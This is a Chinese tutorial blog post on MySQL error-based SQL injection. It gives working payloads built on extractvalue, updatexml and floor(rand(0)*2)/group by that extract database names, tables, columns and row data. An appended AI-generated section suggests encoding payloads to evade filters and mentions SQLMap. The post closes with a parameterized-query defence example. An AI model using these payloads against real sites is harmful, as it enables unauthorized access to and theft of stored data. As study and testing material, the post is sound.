sql注入之报错注入

本文深入探讨了SQL报错注入的三种方法:利用XPath语法错误、updatexml函数及concat+rand()+group_by()组合。详细介绍了这些技巧在不同场景下的应用,如数据库名、表名、列名及数据的获取。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误concat+rand()+group_by()导致主键重复


xpath语法错误

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。
使用条件:mysql版本>5.1.5

extractvalue函数

函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

pyload:id='and(select extractvalue("anything",concat('~',(select语句))))

例如:

id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))

针对mysql数据库:

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

注:

  • ① 0x7e=’~’
  • ② concat(‘a’,‘b’)=“ab”
  • ③ version()=@@version
  • ④ ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
  • ⑤ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

updatexml

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

例如:

'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1))

同样,针对mysql:

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))



concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():

对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数

group by

group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name

常见的payload为:

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a--+

例如:

'union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+

利用information_schema.tables表,相似的还可以用information_schema.columns等

为了使结构能够更方便的查看,可以在concat()中添加一些内容

'union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

之后还是将select语句改为一般的注入语句就可以:

爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

不能使用group_concat函数,所以用limit语句来限制查询结果的列数

参考:

https://xz.aliyun.com/t/253
http://vinc.top/2017/03/23/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/
http://lawlietweb.com/2017/11/12/error-base/

### SQL注入报错的原因分析与解决方案 #### 一、SQL注入报错原因 SQL注入过程中出现的报错通常是因为输入的数据破坏了原始SQL语句的语法结构,或者触发了数据库的安全机制。以下是常见的几种报错场景及其成因: 1. **语法错误** 当攻击者尝试通过拼接恶意字符串来修改SQL查询逻辑时,可能会导致SQL语句无法正常解析而引发语法错误。例如,在`sqli-labs`的第一关中,如果仅闭合单引号而不处理后续部分,则可能导致前端页面显示类似“syntax error”的提示[^2]。 2. **权限不足** 数据库操作可能涉及特定用户的访问控制策略。当执行某些敏感命令(如读取文件或调用系统函数)时,若当前账户缺乏相应权限,也会抛出异常信息。 3. **防御措施生效** 现代Web应用往往配备多种防护手段对抗SQL注入威胁,比如WAF(Web Application Firewall),它能够识别并拦截可疑请求;另外还有参数化查询等编程层面的最佳实践可以有效规避此类漏洞的发生。 4. **数据类型冲突** 如果注入点预期接收整数型参数却收到字符型输入,那么转换失败同样会造成运行期崩溃现象。 #### 二、解决SQL注入报错的方法 针对上述提到的各种情形,下面列举了一些通用的技术应对办法: 1. **调整测试载荷(Payload)** 对于简单的语法问题,可以通过精心设计payload使得最终形成的完整query既满足业务需求又能绕过初步筛查。举个例子来说就是采用编码技术隐藏特殊符号的真实含义直到被目标引擎解读为止。 2. **利用条件判断代替直接输出** 考虑到有些场合不允许看到确切的error message,此时可改用布尔盲注法或者其他间接方式获取所需情报而不是依赖显式的fault report. 3. **借助工具自动化探索过程** 使用像SQLMap这样的开源软件可以帮助快速定位潜在风险区域以及自动适应不同的环境配置从而减少手动调试的工作量。假如遇到Windows平台上关于SQLMap本身的setup难题的话,按照官方文档指示逐步排查直至成功部署也是必要的步骤之一[^3]. 4. **增强应用程序安全性建议** - 实施严格的输入验证流程确保所有外部传入的数据都经过适当过滤后再参与内部运算。 - 推荐始终优先选用预编译语句而非动态组装string形式的commands. - 定期审查源码查找任何可能成为突破口的位置加以修正完善。 ```python import pymysql.cursors connection = pymysql.connect(host='localhost', user='user', password='passwd', database='db', cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "SELECT * FROM users WHERE username=%s AND password=MD5(%s)" cursor.execute(sql, ('admin', 'password')) # 参数绑定防止SQL Injection finally: connection.close() ``` 以上代码片段展示了如何安全地构建SQL查询以防范传统意义上的injection attack。
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值